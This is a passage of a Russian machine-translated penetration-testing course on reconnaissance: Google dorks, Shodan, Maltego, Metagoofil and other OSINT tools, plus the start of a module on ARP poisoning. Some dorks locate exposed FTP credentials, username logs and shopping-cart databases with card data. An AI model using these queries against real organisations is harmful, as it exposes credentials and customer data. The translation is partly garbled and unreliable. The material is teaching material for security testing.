inurl: "AllItems.aspx? FolderCTID =" "firewall" | «прокси» | «конфигурация» | "учетная запись"

Этот придурок находит веб-страницы с URL-адресами, содержащими путь «AllItems.aspx? FolderCTID =» и


также есть одно из этих слов в любом месте страницы: брандмауэр, прокси, конфигурация или учетная запись.
Эти страницы содержат много информации о конфигурациях сетевых устройств и ИТ
документы.

Различные онлайн-устройства
Он содержит запросы, которые находят устройства IoT (Интернет вещей) - устройства.
подключены непосредственно к Интернету через веб-интерфейс, например, принтеры и
веб-камеры. Вот пример:
inurl: guestimage.html

Этот придурок находит веб-страницы, в URL-адресах которых указано имя «guestimage.html». Эти страницы
обычно указывают на наличие онлайн-камер Mobotix.

Обнаружение веб-сервера
Он содержит запросы, которые находят веб-серверы с определенной службой и версией. Для
пример:
intitle: "BadBlue: веб-сервер для обмена файлами, который может использовать каждый"

Этот придурок находит веб-серверы с файловым сервисом BadBlue.

Файлы, содержащие имена пользователей


Он содержит поисковые запросы, которые находят файлы с именами пользователей, но без паролей.
Эти имена пользователей могут быть связаны с определенной службой - например, SSH, FTP,
и т. д. Например:
filetype: log имя пользователя шпатлевка

Этот придурок находит файлы журналов - файлы с расширением .log - которые содержат ключевое слово «имя пользователя».
и «замазка». Putty - это клиент SSH. Возвращенные результаты представляют собой файлы журнала Putty с различными
информация, включая имена пользователей.

Файлы, содержащие пароли


Он содержит поисковые запросы, которые находят файлы с паролями. Например:
intitle: "Индекс" intext: .ftpconfig

Этот придурок находит открытые списки каталогов - обозначенные заголовком «Указатель…» - и в


им файл .ftpconfig. После того, как вы нажмете на файл .ftpconfig, вы найдете учетные данные для доступа

Стр.61

на FTP-сервер.

Конфиденциальная информация о покупках в Интернете


Он содержит поисковые запросы, которые находят информацию, относящуюся к сайтам электронной коммерции
такая информация может включать имена пользователей, пароли, данные кредитной карты, покупки
история и т. д. Вот пример:
inurl: midicart.mdb

https://translate.googleusercontent.com/translate_f 45/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Этот придурок находит незащищенные незащищенные файлы базы данных с именем midicart.mdb . MIDICART - это
приложение корзины покупок для сайтов ASP и PHP. Когда его база данных незащищена, она
может раскрыть конфиденциальную информацию о покупателях, включая информацию об их кредитной корзине.

Файлы, содержащие интересную информацию


Он содержит поисковые запросы, которые находят конфиденциальную информацию, кроме
реквизиты для входа. Эта информация может быть полезна во время сбора разведданных.
фаза. Например:
intitle: "индекс" intext: twr.html

Этот придурок находит открытые списки каталогов, которые включают отчеты Tripwire. Tripwire - это программное обеспечение
который выполняет проверку целостности на сервере, отслеживая изменения в файлах и системных процессах.

Страницы, содержащие порталы входа в систему


Он содержит поисковые запросы, которые находят страницы входа. Нет учетных данных для входа
здесь; но если вы найдете свой путь через портал / страницу входа, вы получите доступ ко многим
конфиденциальной информации. Например:
intitle: "Вход на сервер OAuth"

Этот придурок находит страницы входа в систему OAuth. Он просто возвращает страницы, в заголовках которых есть фраза
«Вход на сервер OAuth».

Консультации и уязвимости
Он содержит поисковые запросы, которые находят уязвимые серверы; однако эти запросы
формируются через консультативные советы. Вот пример:
intitle: "Веб-консоль Nport"

Этот придурок находит веб-страницы, в заголовках которых есть фраза «Веб-консоль Nport», которая
указывает на наличие уязвимых устройств Moxa.

Shodan - поисковая система Интернета вещей


www.shodan.io

Стр.62

Shodan - это поисковая машина для устройств IoT (Интернет вещей); то есть для
устройства, подключенные к Интернету. Эти устройства подключены к Интернету через
IP-адрес и веб-сервер, который предлагает удаленное управление или
административная панель. Shodan в основном находит те устройства, у которых есть свой Интернет.
серверы (http / https) на портах 80, 8080, 443 или 8443. Он также может находить устройства
прослушивание других портов, таких как Telnet, SSH, SNMP и многие другие. Shodan
был создан Джоном Мазерли в 2009 году с целью поиска устройств.
подключен к Интернету.
Чаще всего веб-серверы Интернета вещей предоставляют своим владельцам интерфейсы и
консоли для удаленного контроля и управления этими устройствами. И
риск безопасности возникает, когда нет надлежащей системы аутентификации.
И это даст злоумышленникам возможность контролировать устройство и управлять им.
Shodan может находить такие устройства, как маршрутизаторы, коммутаторы, веб-камеры, светофоры и т. Д.
Системы SCADA, системы отопления, холодильники и т. Д. В отличие от Google Search,
Shodan требует, чтобы вы зарегистрировали бесплатную учетную запись, чтобы получить доступ ко многим из св
Особенности; и если вы получите доступ ко всем функциям, вам даже понадобится платный
членство.
После входа в Shodan нажмите « Исследовать» в главном меню. Ты увидишь
три основных раздела с этими названиями: " Избранные категории" , " Самые популярные" и
Недавно опубликованный .

https://translate.googleusercontent.com/translate_f 46/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Затем вы увидите следующие три категории в разделе " Рекомендуемые".


Категории :

Стр.63

1. Системы внутреннего контроля (ICS)

Также называемые системой диспетчерского управления и сбора данных (SCADA), эти


это встраиваемые компьютеры, которые управляют широким спектром систем, которым мы доверяем
в нашей повседневной жизни, например, кондиционеры, светофоры, театр
фонари, разные части заводов и электростанций. Если хакер сможет найти
незащищенный веб-интерфейс ICS, они могут нанести большой ущерб. если ты
щелкните по нему, вы увидите дальнейшие разделы, обозначающие различные системы ICS.
и протоколы, которые вы можете изучить. Например, вы можете нажать на
Изучите Modbus, чтобы найти устройства, использующие Modbus - популярную ICS.
протокол. Shodan покажет вам список IP-адресов вместе с их
информация, как показано на следующем изображении:

2. Базы данных

Это системы, которые обеспечивают управление реляционными базами данных.


Система (СУБД), такая как MySQL, PostgreSQL, mongoDB, Riak,
Эластичный и т. Д. Нажав на эту категорию, вы увидите дальнейшие
разделы о различных технологиях баз данных, которые вы можете
узнать больше. Ниже приведен снимок страницы результатов, которая
был возвращен после нажатия на Explore Elastic :

https://translate.googleusercontent.com/translate_f 47/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр.64

3. Видеоигры

Shodan может найти системы с онлайн-видеоиграми, такими как Miecraft,


Counter-Strike: Global Offensive, Starbound, ARK: Survival
Развитые и т. Д.
В разделе "Самые популярные" вы увидите различные поисковые запросы, по которым
проголосовали люди и стали популярными. Ниже приведены два основных
поисковые запросы:

1. Веб-камера
Это поисковый запрос: Сервер: SQ-WEBCAM - который
в основном ищет веб-камеры SQ, представленные в Интернете.
Возвращенные результаты могут включать незащищенные веб-камеры.
2. Кулачки
Это поисковый запрос: linux upnp avtech - который ищет
для камер AVTech онлайн. Эти камеры имеют ОС Linux.
Наконец, раздел "Недавно опубликованные" включает поисковые запросы недавно.
представлен участниками.

Вы, конечно, можете искать все, что хотите, с помощью


вводя его прямо в текстовое поле поиска вверху страницы.
Pipl - поиск людей
www.pipl.com

Стр.65

Pipl - крупнейшая в мире поисковая система для людей. Согласно Piple Inc.,
«Pipl - это место, где можно найти человека, стоящего за адресом электронной почты, именем пользователя в соц
или номер телефона. Опрашивает информацию о человеке из социальных сетей.
источники, такие как Facebook, Linkedin, Twitter и Google Plus, а также
с сайтов электронной коммерции, таких как Amazon.
https://translate.googleusercontent.com/translate_f 48/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Когда вы заходите на сайт, вам предоставляется текстовое поле, в котором вы можете


введите имя человека, о котором вы хотите собрать информацию:

RobTex - механизм поиска DNS


www.robtex.com
RobTex - это универсальный механизм поиска DNS. Это бесплатно, но очень
всесторонний; он может опрашивать общедоступную информацию DNS и Whois
например, IP-адреса, доменные имена, имена хостов, автономные системы, маршрутизаторы,
Записи DNS, геолокация IP и т. Д. И если вы войдете в систему с учетной записью, вы
получите доступ к истории сайта и вам будет представлен график
топология сети запрашиваемого домена. На главной странице вы можете увидеть
поле поиска, в котором вы можете ввести имя хоста вашей цели следующим образом:

RebTex вернет огромный отчет, содержащий анализ DNS различных


записи (NS, MX, A и т. д.), географическое расположение различных серверов, SEO

Стр.66

данные (если есть), доменные имена с одинаковым NS, MX и IP-адресом,


поддомены и имена хостов, и, наконец, граф с визуальным представлением
как следующее:

BuiltWith - интеллектуальный анализ веб-технологий


www.builtwith.com

https://translate.googleusercontent.com/translate_f 49/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
BuiltWith, основанная в различные
который предоставляет 2007 году Гэри Брюером, австралийская
интернет-услуги; в частности,компания.
он предоставляет информацию
и анализ веб-технологий, используемых веб-сайтами по всему миру. Ты
могут запросить свою базу данных, чтобы узнать, какие базовые технологии используются в определенных
сайт построен с использованием.
Технологии, которые может предоставить BuiltWith, относятся к разным категориям:
например, системы управления контентом, библиотеки JavaScript, мобильные устройства
Технологии, Сети доставки контента, Виджеты, Технологии кодирования,
Технологии документирования, технологии, обеспечивающие функцию агрегирования,
и т.п.

Когда вы заходите на их веб-сайт, вы видите следующее окно запроса:

Стр.67

Отправив запрос, вы получите подробный отчет обо всех


технологии, которые входят в состав веб-сайта. Вот часть результатов
вернулся для Сайт www.semurity.com :

Netcraft - веб-анализатор
www.netcraft.com
Netcraft предоставляет информацию и анализ веб-серверов. Это было
исследует Интернет с 1995 года. Британская компания Netcraft ltd.
основана в 1987 Майком Преттейоном. Он предлагает различные услуги веб-безопасности,
такие как тестирование безопасности веб-приложений и сканирование безопасности PCI. Он также предлагает
мощная и сложная панель инструментов для защиты от фишинга в браузере, свободная от
плата. Панель инструментов может работать в Firefox, Chrome и IE.
Что делает Netcraft привлекательным для хакеров и тестеров на проникновение, так это их
Механизм интеллектуального анализа данных в Интернете. Их движок отслеживает Интернет в Интернете
сервисов и собирает информацию о веб-серверах, операционных системах,
хостинговые компании, интернет-провайдеры, а иногда и время безотказной работы. Они хранят все это
информация в собственных базах данных и отслеживает все изменения. То есть пользователь
можно увидеть историю базовых технологий определенного веб-сайта.
https://translate.googleusercontent.com/translate_f 50/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Простой способ использовать возможности Netcraft - перейти в текстовое поле под заголовком
« Что это за сайт? »И введите адрес веб-сайта, как показано

Стр.68

следующее изображение:

После отправки запроса вы получите результаты, которые будут отображаться


различная информация о веб-сайте, например IP-адрес,
Сервер имен, администратор DNS, хостинговая компания, страна хостинга и т. Д.
Также вы увидите информацию об операционной системе и веб-сервере:

Как найти незащищенные конфиденциальные файлы вашей цели на


Интернет
В общем, каждая организация делит свою информацию на две категории:
общественные и частные. Категория "Общедоступная" включает в себя всю информацию, которая может
подвергаться воздействию за пределами организации, и нет никакого вреда, если посторонние
доступ к нему; с другой стороны, личная информация - это информация, которая
считается конфиденциальной, и только определенные лица имеют доступ к ней. Этот
личная информация должна храниться как в физическом, так и в цифровом безопасном
система. Однако из-за недостаточного механизма безопасности, отсутствия аудита или
даже халатность сотрудников, эта конфиденциальная информация может быть раскрыта
общественные. В этом посте я объясню, как найти такие просочившиеся
информация в Интернете с помощью поисковых систем или определенных инструментов.

Поисковые системы постоянно сканируют Интернет и индексируют все связанные с Интернетом данные или
файлы. Каждый файл доступен по его URL-адресу, который во многих случаях
публикуется веб-приложением при создании этого файла. Таким образом, поиск
движки могут содержать доступные для поиска индексы файлов, которые не предназначались для
общественные. Вопрос только в том, как умело запрашивать поисковые системы -
в частности Google, чтобы раскрыть нам эти файлы. У нас есть возможность использовать
поисковые запросы вручную для получения желаемых результатов или с помощью автоматизированного инструм
это делает работу от нашего имени.

Стр.69

Запрос файлов документов в Google

Поисковая система Google очень гибкая, когда дело доходит до настройки поиска.

https://translate.googleusercontent.com/translate_f 51/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
запросы. Есть много встроенных операторов, которые можно использовать для настройки
наши критерии поиска и дают нам нестандартные результаты. Что такое
К нашему обсуждению относятся следующие операторы:

тип файла
сайт

Синтаксис использования любого оператора следующий: operator: search_term

Мы заинтересованы в поиске файлов MS Office, файлов Open Office, файлов PDF,


и файлы TXT, поскольку именно эти типы файлов часто используются для хранения
конфиденциальная информация. Таким образом, мы будем искать следующие расширения файлов:

doc, docx, xls, xlsx, ppt, pptx, pps, ppsx, odt, ods, odp, pdf, txt, rtf

Если мы предположим, что наш целевой домен - example.com, тогда нам нужно выпустить
следующий запрос, чтобы найти один конкретный тип файла:

site: example.com filetype: <ext>

Например,

Чтобы найти файлы PDF, мы выдаем: site: example.com filetype: pdf


Чтобы найти файлы DOC, мы выдаем: site: example.com filetype: doc
Чтобы найти файлы DOCX, мы выдаем: site: example.com filetype: docx

Однако, если мы хотим объединить несколько типов файлов в одном поиске


запрос, нам нужно использовать оператор OR (обратите внимание, что он чувствителен к регистру).
Таким образом, чтобы найти все типы файлов, упомянутые выше, мы можем выполнить следующие
поисковый запрос:

site: example.com тип файла: pdf ИЛИ тип файла: документ ИЛИ тип файла: docx ИЛИ
тип файла: xls ИЛИ тип файла: xlsx ИЛИ тип файла: ppt ИЛИ тип файла: pptx ИЛИ
тип файла: pps ИЛИ тип файла: ppsx ИЛИ тип файла: odt ИЛИ тип файла: ods ИЛИ
тип файла: odp ИЛИ тип файла: txt ИЛИ тип файла: rtf

Стр.70

Автоматический поиск и анализ документов с помощью «Metagoofil»

Metagoofil - это инструмент с открытым исходным кодом, который может искать в Интернете определенный файл
типы в определенном домене, загрузите эти файлы в локальную систему, а затем,
извлекать и анализировать метаданные внутри этих файлов. Мета-данные включают в себя вещи
например, имя пользователя, адрес электронной почты, дата создания и т. д., которые могут помочь в
профилирование целевой организации. Metagoofil устанавливается на Kali Linux
по умолчанию. Использовать этот инструмент на самом деле легко и просто. Например,
скачать не более 50 файлов разных типов - pdf, doc,
docx, xls, xlsx и txt - из домена example.com и сохраните их в
Папку «mydirectory», мы введем следующую команду:

# metagoofil -d example.com -t pdf, doc, docx, xls, xlsx, txt -n 50 -o


mydirectory

Как и в случае с результатами поиска выше, загруженные файлы могут иметь


разные уровни чувствительности; некоторые из них могут быть общедоступными, а другие
могут быть частными файлами, которые не хранятся в безопасности. Теперь вы можете выполнять дополнительн
https://translate.googleusercontent.com/translate_f 52/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

анализ содержимого этих файлов. Возможно, вы можете искать файлы


с паролями, именами пользователей и адресами электронной почты.

Инструмент Maltego
Этот инструмент - чрезвычайно мощный инструмент для автоматизации разведки.
Процесс сбора. Он разработан компанией Paterva ( www.paterva.com ).
И он доступен в нескольких версиях: бесплатная версия сообщества и другие.
коммерческие версии. Согласно их веб-сайту:
«Maltego - это интерактивный инструмент интеллектуального анализа данных, который отображает
графики для анализа ссылок. Инструмент используется в онлайн-расследованиях на
нахождение взаимосвязей между частями информации из различных
источники, расположенные в Интернете.
Maltego использует идею преобразований для автоматизации процесса
запросы к различным источникам данных. Затем эта информация отображается на
граф на основе узлов, подходящий для анализа ссылок ».
Maltego предустановлен в Kali Linux. Но чтобы работать эффективно

Стр.71

с его помощью нам нужно понять три основных понятия, которые образуют сердце и
ядро Мальтего. И эти концепции: (1) Сущности , (2) Преобразования и (3)
Машины .
Сущности
Сущность представляет собой один единственный объект, и этот объект может быть цифровым (например,
IP-адрес или веб-сайт), личный (например, имя человека или телефон
число), географическое (например, название города или страны) и т. д.

Трансформирует
Преобразование - это правило действия или процесс, который применяется к отдельному объекту.
для создания других сущностей. Другими словами, преобразование принимает входные данные (
entity), применяет некоторые действия и производит вывод (некоторые объекты).

Машины
Машина - это группа предопределенных преобразований. А цель машины -
для автоматизации процесса применения различных преобразований. Вместо тебя
вручную применяя одно преобразование за другим, вы бы выбрали машину
и вместе запускает набор преобразований.
Бег и изучение Мальтего
Чтобы запустить Maltego, введите в терминале следующую команду:
https://translate.googleusercontent.com/translate_f 53/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

# мальтего
Вы можете запустить бесплатную версию для сообщества; однако в нем есть
ограничение, которое заключается в том, что оно ограничивает количество результатов любого конкретного
преобразовать максимум до 12 результатов. Первый экран, который приветствует вас, когда

Стр.72

Вы открываете Maltgeo - это окно входа. Если это ваш первый запуск
Мальтего, сначала вам нужно будет зарегистрироваться.

После успешного входа в систему Maltego загрузит и установит базовую


трансформации, которые поставляются с выбранной вами версией. Позже вы найдете
что есть сторонние плагины, которые устанавливают дополнительные преобразования. Один раз
Maltego готов, вы увидите главное окно, которое выглядит следующим образом:

Первое, что здесь привлекает внимание, - это верхняя лента; среди всех
доступны вкладки, три дадут нам доступ к основному ядру Maltego; а также
это три: Сущности, Преобразования и Машины. Каждая из этих вкладок
позволит нам просматривать, редактировать и управлять соответствующим компонентом:
Вкладка Entities

Если мы нажмем на вкладку Entities, вы увидите, что


может создавать новые типы сущностей, управлять доступными сущностями, импортировать и экспортировать
сущностей, а также управлять значками, используемыми различными типами сущностей. Теперь,

Стр.73

нажмите «Управление объектами», чтобы просмотреть доступные встроенные объекты, например

https://translate.googleusercontent.com/translate_f 54/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Компания, DNS-имя, адрес электронной почты, хэш, запись MX и т. Д .:

Вкладка "Преобразования"

Нажав на преобразования
Вкладка покажет нам различные кнопки, среди которых (1) Transform Hub: это
панель, где отображаются доступные сторонние плагины, (2) Преобразовать
Менеджер: дает возможность просматривать и редактировать доступные преобразования и (3)
Новое локальное преобразование: здесь вы можете создавать новые преобразования. С тех пор, как мы
не заинтересованы в просмотре встроенных преобразований, нажмите «Преобразовать»
Менеджер":

Стр.74

Вкладка "Машины"

На вкладке "Машины" мы

https://translate.googleusercontent.com/translate_f 55/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
можно увидеть четыре кнопки: (1) Run Machine: для запуска машины, (2) Stop all
Машины: чтобы положить конец всем работающим машинам, (3) Новая машина: где можно
создать новую машину и (4) управлять машинами: где вы можете просматривать и
редактировать доступные машины. Нажмите "Управление машинами", чтобы просмотреть некоторые из
доступные машины:

Получение информации с помощью преобразований


Поняв и изучив основные концепции Maltego, давайте запустим
небольшой проект по сбору информации. В верхнем левом углу вы увидите значок

Стр.75

маленький значок для создания нового графика; нажмите здесь. Вы должны что-то увидеть
аналогично изображению ниже. Главное окно пустое и белое; и к
правильно, это так называемая «палитра сущностей». Показаны все доступные сущности
- в категориях - внутри палитры сущностей.

Когда вы хотите собрать информацию об объекте определенной сущности, вы


можно щелкнуть по этому объекту и перетащить его в главное белое окно. Давайте - для
Ради этого примера - нажмите «Домен» и перетащите его в центр:

Вы увидите, что значение по умолчанию для этого объекта - paterva.com, которое является
доменное имя компании, разработавшей Maltego. Давай изменим это на

https://translate.googleusercontent.com/translate_f 56/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
semurity.com
имя внутри его, дважды щелкнув
текстового поля. этот
Послеобъект
этогоищелкните
отредактировав
правой домен.
кнопкой мыши объект, чтобы получить список.
применимых преобразований. Здесь следует отметить, что у каждой сущности есть свои собственные
список преобразований, применимых только к нему. Щелкнув правой кнопкой мыши, вы увидите значок
преобразования сгруппированы по категориям. Нажмите «Все преобразования», чтобы увидеть все
список:

Стр.76

В следующем разделе мы объясним функции наиболее важных


трансформируется. Но пока давайте нажмем на « To DNS Name [Найти общий DNS
имена] ». Это преобразование пытается вычислить разные имена хостов под
домен semurity.com; и делает это, пробуя разные имена из списка
общие имена.

Как видите, Maltego удалось получить четыре результата - четыре объекта рейтинга.
тип DNS Имя: webmail.semurity.com, mail.semurity.com,
ftp.semurity.com и .semurity.com (имя хоста одного и того же
name в качестве доменного имени). Теперь мы можем повторить тот же процесс снова, но
на этот раз мы применяем преобразование к одному из сгенерированных выходов. Итак, начнем
щелкните правой кнопкой мыши объект DNS Name со значением mail.semurity.com и
выберите преобразование « В IP-адрес [DNS] » - что делает обычный DNS
запрос, чтобы получить IP-адрес webmail.semurty.com. Мы увидим это
Maltego сгенерировал новую сущность типа « IPv4-адрес » с
значение « 170.10.163.106 »:

Стр.77

https://translate.googleusercontent.com/translate_f 57/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Теперь вы можете повторять этот процесс снова и снова столько раз, сколько вам нужно.
чтобы получить различную информацию о вашей цели.
Более глубокий взгляд на сущности и преобразования
Сущности, которые мы сейчас рассмотрим, подпадают под категорию под названием
« Инфраструктура ». Ниже перечислены 9 значимых организаций:

1. AS (автономная интернет-система)

Этот объект содержит номер автономной системы (ASN). Автономный


Система (AS) - это группа маршрутизаторов под управлением одной организации, например,
Интернет-провайдер. Каждая AS имеет уникальный номер (ASN), присвоенный IANA (Internet Assigned Numbers
Орган власти). В следующей таблице показаны преобразования, применимые к этому объекту:

Имя преобразования Функция


Компании Создает компанию, которая администрирует эту AS.
К Netblocks в этой AS Создает диапазон IP-адресов для этой AS.

2. DNS-имя (имя DNS-сервера)

Этот объект содержит полное доменное имя (FQDN) определенной системы.


в интернете. Неважно, какой сервис размещен в этой системе; система может быть сетью
сервер, FTP-сервер, сервер Citrix и т. д. Если в системе есть полное доменное имя, оно может быть
представлен этой организацией. Ниже приведены преобразования, применимые к этому объекту:

Имя преобразования Функция


К DNS-имени Попытки найти другие DNS-имена, взяв первое
[enumerateHostNamesNumerically] сегмент ввода, удалив все числа, затем

Стр.78

добавление числа 1 (rangeStart) к 9 (rangeEnd). Для


Например, если введен ftp.semurity.com , он проверит
ftp1.semurity.com , ftp2.semurity.com , вплоть до
ftp9.semurity.com
В домены [DNS] Создает сущность типа Домен со значением
извлекается из ввода FQDN. Например, если
ввод ftp.semurity.com , он сгенерирует домен
semurity.com
На IP-адрес [DNS] Создает объект типа IPv4 Address с
фактический IP-адрес системы; он делает это, используя
обычный DNS-запрос.
На веб-сайт [порты запросов] Пытается определить, является ли система веб-сайтом, проверяя порты.
80 (http) и 443 (https). Если это веб-сайт, он будет
создать веб-сайт сущности.

3. Домен

https://translate.googleusercontent.com/translate_f 58/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Этот объект представляет собой единый домен. Домен обычно представляет собой зонтик, под которым
могут существовать либо поддомены, либо хосты. Например, semurity.com, google.com, youtube.com.
все домены. Следующие важные преобразования применимы к объекту домена:

Имя преобразования Функция


К DNS-имени [Использование имени Попытки сгенерировать имена хостов DNS (FQDN) под этим
Словарь схемы] домена, используя разные словари (словари). Эта схема
списки слов содержат слова различной тематики, например, солнечный
системные планеты, персонажи некоторых фильмов / шоу и т. д.
К DNS-имени [зона попытки Попытки выполнить перенос зоны против домена и получить
передача] все записи в этой зоне.
На DNS-имя [Robtex] Попытки найти имена хостов DNS в этом домене с помощью
База данных Robtex.
На имя DNS - SOA [Начало Выполняет обычный DNS-запрос для получения записи SOA
Орган власти] входной домен.
На DNS-имя - MX [Mail Выполняет обычный DNS-запрос для получения записи MX для
Сервер] входной домен.
На DNS-имя - NS [Имя Выполняет обычный DNS-запрос для получения NS-записи
Сервер] входной домен.
К имени DNS [Найти общий Попытки найти разные имена хостов во входном домене
DNS-имена] используя список наиболее распространенных имен, например mail, mx, ns, ftp,
веб-почта, Интернет, шлюз, безопасность и т. д.
На адрес электронной почты [с помощью поиска Поиск в Google адресов электронной почты с входным доменом

Стр.79

Двигатель] имя.
На адрес электронной почты [из whois Сначала он выполняет поиск в WHOIS, а затем проверяет, есть ли
Информация] любые адреса электронной почты в данных WHOIS.
На номера телефонов [используя Ищет в Google номер телефона, связанный с вводом
Поисковый движок] домен.
На номера телефонов [из whois Сначала он выполняет поиск в WHOIS, а затем проверяет наличие каких-либо
Информация] номер телефона в данных WHOIS.
На веб-сайт [Быстрый поиск] Simple проверяет, существует ли сервер www во входном домене.
Например, входным доменом был semurity.com , он проверяет,
www.semurity.com существует.

4. IPv4-адрес

Имя преобразования Функция


На DNS-имя из пассивного Попытки получить DNS-имя, связанное с IP-адресом
DNS [Робтекс] используя базу данных Robtext.
На имя DNS [обратный DNS] Попытки получить DNS-имя, связанное с IP-адресом
с помощью обратного поиска DNS.
На адрес электронной почты [из whois Сначала он выполняет запрос WHOIS, а затем проверяет возвращенные
Информация] Данные WHOIS для любых адресов электронной почты.
Сущностям из whois [IBM Сначала он выполняет запрос WHOIS, а затем проверяет наличие сущностей.
Ватсон] например имена людей, названия компаний, номера телефонов и
местоположения с использованием техники NER (Named Entity Recognition)
IBM Watson.
До места [город, страна] Связывается с базой данных MaxMind GeoIP и получает город и
страна этого IP-адреса.
В Netblock [Использование маршрутизации
Попытки получить диапазон IP-сети (сетевой блок), в котором
Информация] входной IP находится.

https://translate.googleusercontent.com/translate_f 59/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
На номер телефона [с помощью whois Сначала он выполняет запрос WHOIS, а затем проверяет возвращенные
Информация] Данные WHOIS для любого номера телефона
На веб-сайт с упоминанием IP Is использует поисковую систему Bing для поиска веб-сайтов, использующих тот же
[Bing] введите IP-адрес.
Создает диапазон сетевых IP-адресов с использованием классической сетевой маски класса C.
В Netblock [с использованием естественного
границы]

5. Запись MX

Стр. 80

Имя преобразования Функция


В домены [DNS] Создает объект типа Domain с извлеченным значением
из ввода FQDN. Например, если на входе
mail.semurity.com , он сгенерирует домен semurity.com
На IP-адреса [DNS] Создает объект типа IPv4-адрес с фактическим IP-адресом.
адрес системы; он делает это с помощью обычного DNS-запроса.
В домены [общий доступ к этому MX] Попытки найти другие домены, которые используют этот входной MX-сервер.
На веб-сайт (порты запроса) Пытается определить, является ли система веб-сайтом, проверяя порты 80
(http) и 443 (https). Если это веб-сайт, он создаст объект
Веб-сайт.

6. NS Record

Имя преобразования Функция


В домены [DNS] Создает объект типа Domain с извлеченным значением
из ввода FQDN. Например, если на входе
ns.semurity.com , он сгенерирует домен semurity.com
В домены [разделяют этот NS] Попытки найти другие домены, использующие этот входной NS-сервер.
На IP-адреса [DNS] Создает объект типа IPv4-адрес с фактическим IP-адресом.
адрес системы; он делает это с помощью обычного DNS-запроса.
В Netblock [Блоки делегированы Связывается с базой данных Robtex и проверяет, есть ли у этого NS
к этому NS] диапазон IP-адресов сети, связанный с ним.
На веб-сайт (порты запроса) Пытается определить, является ли система веб-сайтом, проверяя порты 80
(http) и 443 (https). Если это веб-сайт, он создаст объект
Веб-сайт.

7. Сетевой блок

На IP-адреса [в пределах Создает объекты типа IP-адреса, содержащие IP

Стр. 81

https://translate.googleusercontent.com/translate_f 60/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

netblock] адреса этого сетевого блока.


До места [город, страна] Связывается с базой данных MaxMind GeoIP и получает город и
страна этого IP-адреса.
На номер AS Он определяет номер автономной системы (ASN) этого сетевого блока.
К именам DNS в сетевом блоке Он связывается с базой данных Robtex и получает любое DNS-имя, которое
[обратный DNS] преобразуется в IP-адрес в этом сетевом блоке.

8. URL

К объектам [IBM Watson] он проверяет такие объекты, как имена людей, названия компаний, телефон
числа и местоположения, использующие NER (распознавание именованных сущностей)
техника IBM Watson.
На номера телефонов [найдены на Он находит любые телефонные номера на этой веб-странице.
эта веб-страница]
На веб-сайт [ссылки в этом Интернете Он находит любые ссылки на этой веб-странице.
страница]
Редакторам Википедии Если URL-адрес был страницей Википедии, он генерирует список пользователей.
кто редактировал страницу
К изображениям с URL Он находит изображения на этой веб-странице и генерирует объекты изображения
тип.
На адреса электронной почты [найденоОн
на находит любой адрес электронной почты на этой веб-странице.
эта веб-страница]

9. Веб-сайт

Зеркало: найдены адреса электронной почты


Попытки частично отразить веб-сайт и создать любое электронное письмо.
адреса найдены.
Зеркало: найдены внешние ссылки Попытки частично отразить веб-сайт и генерировать любые
гиперссылки найдены.
В домены [DNS] Создает объект типа Domain с извлеченным значением

Стр.82

из ввода FQDN. Например, если на входе


www.semurity.com , он сгенерирует Домен
semurity.com
На IP-адрес [DNS] Создает объект типа IPv4-адрес с фактическим IP-адресом.
адрес системы; он делает это с помощью обычного DNS-запроса.
К кодам отслеживания Анализирует исходный код сайта и собирает любые
Найденные идентификаторы Google Analytics и AdSense.
К URL-адресам (показать поисковую систему
Выполняет поиск в Интернете и выгружает все URL-адреса, найденные в отдельных
полученные результаты) Объекты URL.
На веб-сайт (порты запросов) Пытается определить, является ли система веб-сайтом, проверяя порты 80
(http) и 443 (https). Если это веб-сайт, он создаст объект
Веб-сайт.

https://translate.googleusercontent.com/translate_f 61/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. 83

Модуль 04 Управление сетевым трафиком.


Есть определенные типы атак, которые могут быть выполнены только в локальной сети:
и особенно внутри локальной подсети. Внутри такой сети у вас есть
доступ к движущемуся трафику до того, как он пересечет ближайший
router - шлюз по умолчанию. Эти атаки включают захват такой сети
трафик или подделка других вредоносных пакетов. В этой главе обсуждается
следующие три темы:

1. Анализ сетевого трафика : это возможность захвата сети.


пакеты по сети - или через беспроводной интерфейс - и
проанализировать их с помощью специального программного обеспечения. В сетях, использующих ст
технология концентраторов, сниффинг даст вам все пакеты в
подсети независимо от того, предназначены ли эти пакеты для вашей системы или
нет. Однако в современных сетях, использующих коммутаторы, можно только
обнюхивать свои собственные пакеты и широковещательные. Чтобы захватить
пакеты других систем, мы используем перехват трафика (далее).
2. Перехват трафика с использованием ARP Poisoning : этот метод
включает подделку поддельных пакетов ARP для целевых систем в пределах
сеть, чтобы отравить их кеш ARP. Это отравление вызывает те
системы для перенаправления своих пакетов в вашу систему; таким образом, вы можете
перехватывать пакеты, принадлежащие другим системам. Перехватывая
эти пакеты вы можете захватывать и анализировать. Однако если такие
трафик был зашифрован с помощью SSL / TLS, тогда нам нужно выполнить
Взлом SSL / TLS (далее).
3. Взлом SSL / TLS : цель - расшифровать иначе

https://translate.googleusercontent.com/translate_f 62/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
зашифрованный
это можно сделатьтрафик
двумясспособами:
целью анализа его содержимого.
в первом Есть
случае используется подделка
сертификат; это вызывает предупреждение браузера, которое жертва должна
принимать. В прошлом многие люди легко могли попасть в этот тип
атака. Однако современные браузеры усложнили задачу подделки.
сертификаты, которые необходимо принять. Второй способ предполагает использование
Сообщение HTTP Redirect, которое происходит до SSL / TLS
рукопожатие; это называется SSL Stripping, и его цель - сделать
